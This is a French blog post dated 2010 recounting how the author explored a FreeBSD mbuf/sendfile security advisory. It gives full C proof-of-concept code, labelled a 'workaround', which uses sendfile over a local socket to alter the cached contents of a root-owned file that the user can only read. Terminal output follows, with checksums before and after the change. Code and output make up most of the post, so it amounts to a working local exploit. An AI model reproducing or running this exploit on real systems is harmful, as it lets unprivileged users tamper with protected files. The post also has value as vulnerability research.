17/07/2010

FreeBSD mbuf vulnerability

Mardi 13 Juillet 2010, une security advisories tombe. De suite on redoute le pire en voyant l'annonce. Mais avant de patcher mon kernel j'ai voulu jouer avec tout ça. J'ai pas mal tournée en rond pendant plusieurs soirs ( RTFM, lire les sources du kernel, ... ).

A vrai dire ce n'était pas facile de se lancer dans ce mécanisme IPC dont je ne connaissais pas l'existence. Et la security advisories ne donnait pas trop d'indice.

Il y a surtout une chose qu'ils ont omis c'est que ce problème n'arrive que lors de l'envoi de gros fichiers ( quelques megas ). J'ai tout donc réussi à coder le workaround suivant :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <sys/stat.h>

void
make_listen(void)
{
  int s,c;
  struct sockaddr_in addr;
  struct sockaddr_in cli;
  socklen_t cli_size;
  char buf[100];
  
  addr.sin_addr.s_addr = INADDR_ANY;
  addr.sin_port = htons(31337);
  addr.sin_family = PF_INET;
  s = socket(PF_INET, SOCK_STREAM, 0);
  if (bind(s, (struct sockaddr*) &addr, sizeof(addr)) == -1)
    {
      perror("bind() failed");
      exit(EXIT_FAILURE);
    }
  listen(s, 3);
  c = accept(s, (struct sockaddr*) &cli, &cli_size);
  while (recv(c, buf, sizeof(buf) - 1, 0) > 0)
    printf("make_listen() :: recv() = %s\n",buf);
  close(s);
}

int
main (void)
{
  int s, fd;
  struct sockaddr_in addr;
  struct stat sb;
  fd_set wfds;
  int64_t size;
  off_t sbytes;
  
  if (fork() != 0)
    {
      sleep(2);
      s = socket(PF_INET, SOCK_STREAM, 0);
      bzero(&addr, sizeof(addr));
      addr.sin_family = PF_INET;
      addr.sin_port = htons(31337);
      addr.sin_addr.s_addr = INADDR_ANY; 
      if ( connect(s, (struct sockaddr *)&addr, sizeof (addr)) < 0 )
        {
          perror("connect() ");
          exit(EXIT_FAILURE);
        }      
      fcntl(s, F_SETFL);
      if ( ( fd = open("sendfile", O_RDONLY) ) < 0)
        {
          perror("open() ");
          exit(EXIT_FAILURE);
        }
      if ( fstat(fd, &sb) < 0 )
        {
          perror("fstat() ");
          exit(EXIT_FAILURE);
        }
      size = sb.st_size;
      while (size > 0)
        {
          FD_ZERO(&wfds);
          FD_SET(s, &wfds);
          select(fd+1, NULL, &wfds, NULL, NULL);
          sbytes = 0;
          if ( sendfile(fd, s, 0, 500, NULL, &sbytes, 0) < 0 )
            continue;
          size -= sbytes;
          write(s, "huh\r\n", 5);
        }
      close(s);
    }
  else
      make_listen();
  return 0;
}

On va donc créer un fichier assez conséquent où notre utilisateur n'aura que les droits en lecture :

segfault# perl -e'print "A"x500000' > sendfile 
segfault# exit
exit
> ls -al sendfile 
-rw-r--r--  1 root  w4kfu  500000 Jul 17 12:40 sendfile

On va regarder le checksum ( md5 ) de notre fichier avant le lancement de notre programme :

> md5 sendfile 
MD5 (sendfile) = d8984e20a439a4ad578094b86aee552f

On compile ensuite notre programme et on regarde si il n'y a pas de flag setuid ( non je ne triche pas ! :] )

> gcc -o work work.c 
> ls -al work
-rwxr-xr-x  1 w4kfu  w4kfu  10142 Jul 17 13:18 work

On éxécute et regardons de nouveau le checksum :

> ./work
....
make_listen() :: recv() = 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
....
> md5 sendfile 
MD5 (sendfile) = 6edd32bded5b12bb55f54b36f95f1936

Là on se dit : " Yeah ! it works !". Sauf qu'encore une fois l'advisories n'avait pas prévenu de quelque chose. La modification ne se fait que dans le cache, donc si on remonte notre file system le checksum sera le même qu'au départ :

segfault# mount -o rw /dev/ad6s1a /
segfault# exit
exit
> md5 sendfile 
MD5 (sendfile) = d8984e20a439a4ad578094b86aee552f

Edit : 19 Août 2010 Un exploit est release par Kingcope, voici le lien.